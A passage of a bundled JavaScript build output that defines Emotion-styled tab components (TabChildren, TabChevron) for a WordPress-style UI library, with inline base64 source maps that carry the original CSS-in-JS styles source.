1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblxuXHRcdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRcdGN1cnNvcjogZGVmYXVsdDtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkudGV4dERpc2FibGVkIH07XG5cdFx0fVxuXG5cdFx0Jjpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTppcyggOmhvdmVyLCBbZGF0YS1mb2N1cy12aXNpYmxlXSApIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0fVxuXG5cdFx0Jjpmb2N1czpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdC8vIEZvY3VzIGluZGljYXRvci5cblx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0XHRcdC8vIERyYXcgdGhlIGluZGljYXRvci5cblx0XHRcdC8vIE91dGxpbmUgd29ya3MgZm9yIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlIGFzIHdlbGwuXG5cdFx0XHRvdXRsaW5lOiB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzICkgc29saWRcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cblx0XHRcdC8vIEFuaW1hdGlvblxuXHRcdFx0b3BhY2l0eTogMDtcblxuXHRcdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHRcdHRyYW5zaXRpb246IG9wYWNpdHkgMC4xcyBsaW5lYXI7XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0JltkYXRhLWZvY3VzLXZpc2libGVdOjphZnRlciB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdH1cblx0fVxuXG5cdFthcmlhLW9yaWVudGF0aW9uPSdob3Jpem9udGFsJ10gJiB7XG5cdFx0cGFkZGluZy1pbmxpbmU6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdFx0c2Nyb2xsLW1hcmdpbjogMjRweDtcblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbnRlbnQ6ICcnO1xuXHRcdFx0aW5zZXQ6ICR7IHNwYWNlKCAzICkgfTtcblx0XHR9XG5cdH1cblxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSAmIHtcblx0XHRwYWRkaW5nOiAkeyBzcGFjZSggMiApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRcdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMCApIH07XG5cblx0XHQmW2FyaWEtc2VsZWN0ZWQ9J3RydWUnXSB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblx0fVxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXVtkYXRhLXNlbGVjdC1vbi1tb3ZlPSdmYWxzZSddICY6OmFmdGVyIHtcblx0XHRjb250ZW50OiAnJztcblx0XHRpbnNldDogdmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cyApO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVGFiQ2hpbGRyZW4gPSBzdHlsZWQuc3BhbmBcblx0ZmxleC1ncm93OiAxO1xuXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0W2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSAmIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0fVxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSAmIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IHN0YXJ0O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVGFiQ2hldnJvbiA9IHN0eWxlZCggSWNvbiApYFxuXHRmbGV4LXNocmluazogMDtcblx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAtMSApIH07XG5cdFthcmlhLW9yaWVudGF0aW9uPSdob3Jpem9udGFsJ10gJiB7XG5cdFx0ZGlzcGxheTogbm9uZTtcblx0fVxuXHRvcGFjaXR5OiAwO1xuXHRbcm9sZT0ndGFiJ106aXMoIFthcmlhLXNlbGVjdGVkPSd0cnVlJ10sIFtkYXRhLWZvY3VzLXZpc2libGVdLCA6aG92ZXIgKSAmIHtcblx0XHRvcGFjaXR5OiAxO1xuXHR9XG5cdC8vIFRoZSBjaGV2cm9uIGlzIHRyYW5zaXRpb25lZCBpbnRvIGV4aXN0ZW5jZSB3aGVuIHNlbGVjdE9uTW92ZSBpcyBlbmFibGVkLFxuXHQvLyBiZWNhdXNlIG90aGVyd2lzZSBpdCBsb29rcyBqYXJyaW5nLCBhcyBpdCBzaG93cyB1cCBvdXRzaWRlIG9mIHRoZSBmb2N1c1xuXHQvLyBpbmRpY2F0b3IgdGhhdCdzIGJlaW5nIGFuaW1hdGVkIGF0IHRoZSBzYW1lIHRpbWUuXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFtkYXRhLXNlbGVjdC1vbi1tb3ZlPSd0cnVlJ11cblx0XHRcdFtyb2xlPSd0YWInXTppcyggW2FyaWEtc2VsZWN0ZWQ9J3RydWUnXSwgIClcblx0XHRcdCYge1xuXHRcdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAwLjE1cyAwLjE1cyBsaW5lYXI7XG5cdFx0fVxuXHR9XG5cdCY6ZGlyKCBydGwgKSB7XG5cdFx0cm90YXRlOiAxODBkZWc7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUYWJQYW5lbCA9IHN0eWxlZCggQXJpYWtpdC5UYWJQYW5lbCApYFxuXHQmOmZvY3VzIHtcblx0XHRib3gtc2hhZG93OiBub25lO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdH1cblxuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKVxuXHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0fVxuYDtcbiJdfQ== */"));
50910 var TabChildren = /* @__PURE__ */ createStyled("span", false ? {
50911 target: "enfox0g2"
50912 } : {
50913 target: "enfox0g2",
50914 label: "TabChildren"
50915 })(false ? {
50916 name: "9at4z3",
50917 styles: "flex-grow:1;display:flex;align-items:center;[aria-orientation='horizontal'] &{justify-content:center;}[aria-orientation='vertical'] &{justify-content:start;}"
50918 } : {
50919 name: "9at4z3",
50920 styles: "flex-grow:1;display:flex;align-items:center;[aria-orientation='horizontal'] &{justify-content:center;}[aria-orientation='vertical'] &{justify-content:start;}/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwT3NDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgZm9udCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IEljb24gZnJvbSAnLi4vaWNvbic7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRUYWJMaXN0ID0gc3R5bGVkKCBBcmlha2l0LlRhYkxpc3QgKWBcblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IHN0cmV0Y2g7XG5cdG92ZXJmbG93LXg6IGF1dG87XG5cblx0JlthcmlhLW9yaWVudGF0aW9uPSd2ZXJ0aWNhbCddIHtcblx0XHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR9XG5cblx0OndoZXJlKCBbYXJpYS1vcmllbnRhdGlvbj0naG9yaXpvbnRhbCddICkge1xuXHRcdHdpZHRoOiBmaXQtY29udGVudDtcblx0fVxuXG5cdC0tZGlyZWN0aW9uLWZhY3RvcjogMTtcblx0LS1kaXJlY3Rpb24tc3RhcnQ6IGxlZnQ7XG5cdC0tZGlyZWN0aW9uLWVuZDogcmlnaHQ7XG5cdC0tc2VsZWN0ZWQtc3RhcnQ6IHZhciggLS1zZWxlY3RlZC1sZWZ0LCAwICk7XG5cdCY6ZGlyKCBydGwgKSB7XG5cdFx0LS1kaXJlY3Rpb24tZmFjdG9yOiAtMTtcblx0XHQtLWRpcmVjdGlvbi1zdGFydDogcmlnaHQ7XG5cdFx0LS1kaXJlY3Rpb24tZW5kOiBsZWZ0O1xuXHRcdC0tc2VsZWN0ZWQtc3RhcnQ6IHZhciggLS1zZWxlY3RlZC1yaWdodCwgMCApO1xuXHR9XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0JltkYXRhLWluZGljYXRvci1hbmltYXRlZF06OmJlZm9yZSB7XG5cdFx0XHR0cmFuc2l0aW9uLXByb3BlcnR5OiB0cmFuc2Zvcm0sIGJvcmRlci1yYWRpdXMsIGJvcmRlci1ibG9jaztcblx0XHRcdHRyYW5zaXRpb24tZHVyYXRpb246IDAuMnM7XG5cdFx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogZWFzZS1vdXQ7XG5cdFx0fVxuXHR9XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0Jjo6YmVmb3JlIHtcblx0XHRjb250ZW50OiAnJztcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0dHJhbnNmb3JtLW9yaWdpbjogdmFyKCAtLWRpcmVjdGlvbi1zdGFydCApIHRvcDtcblxuXHRcdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRvdXRsaW5lLW9mZnNldDogLTFweDtcblx0fVxuXG5cdC8qIFVzaW5nIGEgbGFyZ2UgdmFsdWUgdG8gYXZvaWQgYW50aWFsaWFzaW5nIHJvdW5kaW5nIGlzc3Vlc1xuXHRcdFx0d2hlbiBzY2FsaW5nIGluIHRoZSB0cmFuc2Zvcm0sIHNlZTogaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9hLzUyMTU5MTIzICovXG5cdC0tYW50aWFsaWFzaW5nLWZhY3RvcjogMTAwO1xuXHQmW2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSB7XG5cdFx0LS1mYWRlLXdpZHRoOiA2NHB4O1xuXHRcdC0tZmFkZS1ncmFkaWVudC1iYXNlOiB0cmFuc3BhcmVudCAwJSwgYmxhY2sgdmFyKCAtLWZhZGUtd2lkdGggKTtcblx0XHQtLWZhZGUtZ3JhZGllbnQtY29tcG9zZWQ6IHZhciggLS1mYWRlLWdyYWRpZW50LWJhc2UgKSwgYmxhY2sgNjAlLFxuXHRcdFx0dHJhbnNwYXJlbnQgNTAlO1xuXHRcdCYuaXMtb3ZlcmZsb3dpbmctZmlyc3Qge1xuXHRcdFx0bWFzay1pbWFnZTogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHR0byB2YXIoIC0tZGlyZWN0aW9uLWVuZCApLFxuXHRcdFx0XHR2YXIoIC0tZmFkZS1ncmFkaWVudC1iYXNlIClcblx0XHRcdCk7XG5cdFx0fVxuXHRcdCYuaXMtb3ZlcmZsb3dpbmctbGFzdCB7XG5cdFx0XHRtYXNrLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoXG5cdFx0XHRcdHRvIHZhciggLS1kaXJlY3Rpb24tc3RhcnQgKSxcblx0XHRcdFx0dmFyKCAtLWZhZGUtZ3JhZGllbnQtYmFzZSApXG5cdFx0XHQpO1xuXHRcdH1cblx0XHQmLmlzLW92ZXJmbG93aW5nLWZpcnN0LmlzLW92ZXJmbG93aW5nLWxhc3Qge1xuXHRcdFx0bWFzay1pbWFnZTogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHRcdHRvIHJpZ2h0LFxuXHRcdFx0XHRcdHZhciggLS1mYWRlLWdyYWRpZW50LWNvbXBvc2VkIClcblx0XHRcdFx0KSxcblx0XHRcdFx0bGluZWFyLWdyYWRpZW50KCB0byBsZWZ0LCB2YXIoIC0tZmFkZS1ncmFkaWVudC1jb21wb3NlZCApICk7XG5cdFx0fVxuXG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdGJvdHRvbTogMDtcblx0XHRcdGhlaWdodDogMDtcblx0XHRcdHdpZHRoOiBjYWxjKCB2YXIoIC0tYW50aWFsaWFzaW5nLWZhY3RvciApICogMXB4ICk7XG5cdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1zdGFydCApICogdmFyKCAtLWRpcmVjdGlvbi1mYWN0b3IgKSAqXG5cdFx0XHRcdFx0XHRcdDFweFxuXHRcdFx0XHRcdClcblx0XHRcdFx0KVxuXHRcdFx0XHRzY2FsZVgoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC13aWR0aCwgMCApIC9cblx0XHRcdFx0XHRcdFx0dmFyKCAtLWFudGlhbGlhc2luZy1mYWN0b3IgKVxuXHRcdFx0XHRcdClcblx0XHRcdFx0KTtcblx0XHRcdGJvcmRlci1ib3R0b206IHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKSBzb2xpZFxuXHRcdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0fVxuXHR9XG5cdCZbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSB7XG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdC8qIEFkanVzdGluZyB0aGUgYm9yZGVyIHJhZGl1cyB0byBtYXRjaCB0aGUgc2NhbGluZyBpbiB0aGUgeSBheGlzLiAqL1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH0gL1xuXHRcdFx0XHRjYWxjKFxuXHRcdFx0XHRcdCR7IENPTkZJRy5yYWRpdXNTbWFsbCB9IC9cblx0XHRcdFx0XHRcdChcblx0XHRcdFx0XHRcdFx0dmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApIC9cblx0XHRcdFx0XHRcdFx0XHR2YXIoIC0tYW50aWFsaWFzaW5nLWZhY3RvciApXG5cdFx0XHRcdFx0XHQpXG5cdFx0XHRcdCk7XG5cdFx0XHR0b3A6IDA7XG5cdFx0XHRsZWZ0OiAwO1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0XHRoZWlnaHQ6IGNhbGMoIHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yICkgKiAxcHggKTtcblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggY2FsYyggdmFyKCAtLXNlbGVjdGVkLXRvcCwgMCApICogMXB4ICkgKVxuXHRcdFx0XHRzY2FsZVkoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSAvXG5cdFx0XHRcdFx0XHRcdHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yIClcblx0XHRcdFx0XHQpXG5cdFx0XHRcdCk7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci1taXgoXG5cdFx0XHRcdGluIHNyZ2IsXG5cdFx0XHRcdCR7IENPTE9SUy50aGVtZS5hY2NlbnQgfSxcblx0XHRcdFx0dHJhbnNwYXJlbnQgOTYlXG5cdFx0XHQpO1xuXHRcdH1cblx0XHQmW2RhdGEtc2VsZWN0LW9uLW1vdmU9J3RydWUnXTpoYXMoXG5cdFx0XHRcdDppcyggOmZvY3VzLXZpc2libGUsIFtkYXRhLWZvY3VzLXZpc2libGVdIClcblx0XHRcdCk6OmJlZm9yZSB7XG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0Ym9yZGVyOiB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzICkgc29saWRcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0LyogQWRqdXN0aW5nIHRoZSBib3JkZXIgd2lkdGggdG8gbWF0Y2ggdGhlIHNjYWxpbmcgaW4gdGhlIHkgYXhpcy4gKi9cblx0XHRcdGJvcmRlci1ibG9jay13aWR0aDogY2FsYyhcblx0XHRcdFx0dmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cywgMXB4ICkgL1xuXHRcdFx0XHRcdChcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSAvXG5cdFx0XHRcdFx0XHRcdHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yIClcblx0XHRcdFx0XHQpXG5cdFx0XHQpO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFRhYiA9IHN0eWxlZCggQXJpYWtpdC5UYWIgKWBcblx0JiB7XG5cdFx0LyogUmVzZXRzICovXG5cdFx0Ym9yZGVyLXJhZGl1czogMDtcblx0XHRiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0Ym94LXNoYWRvdzogbm9uZTtcblxuXHRcdGZsZXg6IDEgMCBhdXRvO1xuXHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRsaW5lLWhlaWdodDogMS4yOyAvLyBDaGFyYWN0ZXJzIGluIHNvbWUgbGFuZ3VhZ2VzIChlLmcuIEphcGFuZXNlKSBtYXkgaGF2ZSBhIG5hdGl2ZSBoaWdoZXIgbGluZS1oZWlnaHQuXG5cdFx0Zm9udC1mYW1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblxuXHRcdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRcdGN1cnNvcjogZGVmYXVsdDtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkudGV4dERpc2FibGVkIH07XG5cdFx0fVxuXG5cdFx0Jjpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTppcyggOmhvdmVyLCBbZGF0YS1mb2N1cy12aXNpYmxlXSApIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0fVxuXG5cdFx0Jjpmb2N1czpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdC8vIEZvY3VzIGluZGljYXRvci5cblx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0XHRcdC8vIERyYXcgdGhlIGluZGljYXRvci5cblx0XHRcdC8vIE91dGxpbmUgd29ya3MgZm9yIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlIGFzIHdlbGwuXG5cdFx0XHRvdXRsaW5lOiB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzICkgc29saWRcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cblx0XHRcdC8vIEFuaW1hdGlvblxuXHRcdFx0b3BhY2l0eTogMDtcblxuXHRcdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHRcdHRyYW5zaXRpb246IG9wYWNpdHkgMC4xcyBsaW5lYXI7XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0JltkYXRhLWZvY3VzLXZpc2libGVdOjphZnRlciB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdH1cblx0fVxuXG5cdFthcmlhLW9yaWVudGF0aW9uPSdob3Jpem9udGFsJ10gJiB7XG5cdFx0cGFkZGluZy1pbmxpbmU6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdFx0c2Nyb2xsLW1hcmdpbjogMjRweDtcblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbnRlbnQ6ICcnO1xuXHRcdFx0aW5zZXQ6ICR7IHNwYWNlKCAzICkgfTtcblx0XHR9XG5cdH1cblxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSAmIHtcblx0XHRwYWRkaW5nOiAkeyBzcGFjZSggMiApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRcdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMCApIH07XG5cblx0XHQmW2FyaWEtc2VsZWN0ZWQ9J3RydWUnXSB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblx0fVxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXVtkYXRhLXNlbGVjdC1vbi1tb3ZlPSdmYWxzZSddICY6OmFmdGVyIHtcblx0XHRjb250ZW50OiAnJztcblx0XHRpbnNldDogdmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cyApO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVGFiQ2hpbGRyZW4gPSBzdHlsZWQuc3BhbmBcblx0ZmxleC1ncm93OiAxO1xuXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0W2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSAmIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0fVxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSAmIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IHN0YXJ0O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVGFiQ2hldnJvbiA9IHN0eWxlZCggSWNvbiApYFxuXHRmbGV4LXNocmluazogMDtcblx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAtMSApIH07XG5cdFthcmlhLW9yaWVudGF0aW9uPSdob3Jpem9udGFsJ10gJiB7XG5cdFx0ZGlzcGxheTogbm9uZTtcblx0fVxuXHRvcGFjaXR5OiAwO1xuXHRbcm9sZT0ndGFiJ106aXMoIFthcmlhLXNlbGVjdGVkPSd0cnVlJ10sIFtkYXRhLWZvY3VzLXZpc2libGVdLCA6aG92ZXIgKSAmIHtcblx0XHRvcGFjaXR5OiAxO1xuXHR9XG5cdC8vIFRoZSBjaGV2cm9uIGlzIHRyYW5zaXRpb25lZCBpbnRvIGV4aXN0ZW5jZSB3aGVuIHNlbGVjdE9uTW92ZSBpcyBlbmFibGVkLFxuXHQvLyBiZWNhdXNlIG90aGVyd2lzZSBpdCBsb29rcyBqYXJyaW5nLCBhcyBpdCBzaG93cyB1cCBvdXRzaWRlIG9mIHRoZSBmb2N1c1xuXHQvLyBpbmRpY2F0b3IgdGhhdCdzIGJlaW5nIGFuaW1hdGVkIGF0IHRoZSBzYW1lIHRpbWUuXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFtkYXRhLXNlbGVjdC1vbi1tb3ZlPSd0cnVlJ11cblx0XHRcdFtyb2xlPSd0YWInXTppcyggW2FyaWEtc2VsZWN0ZWQ9J3RydWUnXSwgIClcblx0XHRcdCYge1xuXHRcdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAwLjE1cyAwLjE1cyBsaW5lYXI7XG5cdFx0fVxuXHR9XG5cdCY6ZGlyKCBydGwgKSB7XG5cdFx0cm90YXRlOiAxODBkZWc7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUYWJQYW5lbCA9IHN0eWxlZCggQXJpYWtpdC5UYWJQYW5lbCApYFxuXHQmOmZvY3VzIHtcblx0XHRib3gtc2hhZG93OiBub25lO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdH1cblxuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKVxuXHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0fVxuYDtcbiJdfQ== */",
50921 toString: _EMOTION_STRINGIFIED_CSS_ERROR__43
50922 });
50923 var TabChevron = /* @__PURE__ */ createStyled(icon_default3, false ? {
50924 target: "enfox0g1"
50925 } : {
50926 target: "enfox0g1",
50927 label: "TabChevron"
50928 })("flex-shrink:0;margin-inline-end:", space(-1), ";[aria-orientation='horizontal'] &{display:none;}opacity:0;[role='tab']:is( [aria-selected='true'], [data-focus-visible], :hover ) &{opacity:1;}@media not ( prefers-reduced-motion ){[data-select-on-move='true'] [role='tab']:is( [aria-selected='true'], ) &{transition:opacity 0.15s 0.15s linear;}}&:dir( rtl ){rotate:180deg;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3UHdDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgZm9udCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IEljb24gZnJvbSAnLi4vaWNvbic7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRUYWJMaXN0ID0gc3R5bGVkKCBBcmlha2l0LlRhYkxpc3QgKWBcblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IHN0cmV0Y2g7XG5cdG92ZXJmbG93LXg6IGF1dG87XG5cblx0JlthcmlhLW9yaWVudGF0aW9uPSd2ZXJ0aWNhbCddIHtcblx0XHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR9XG5cblx0OndoZXJlK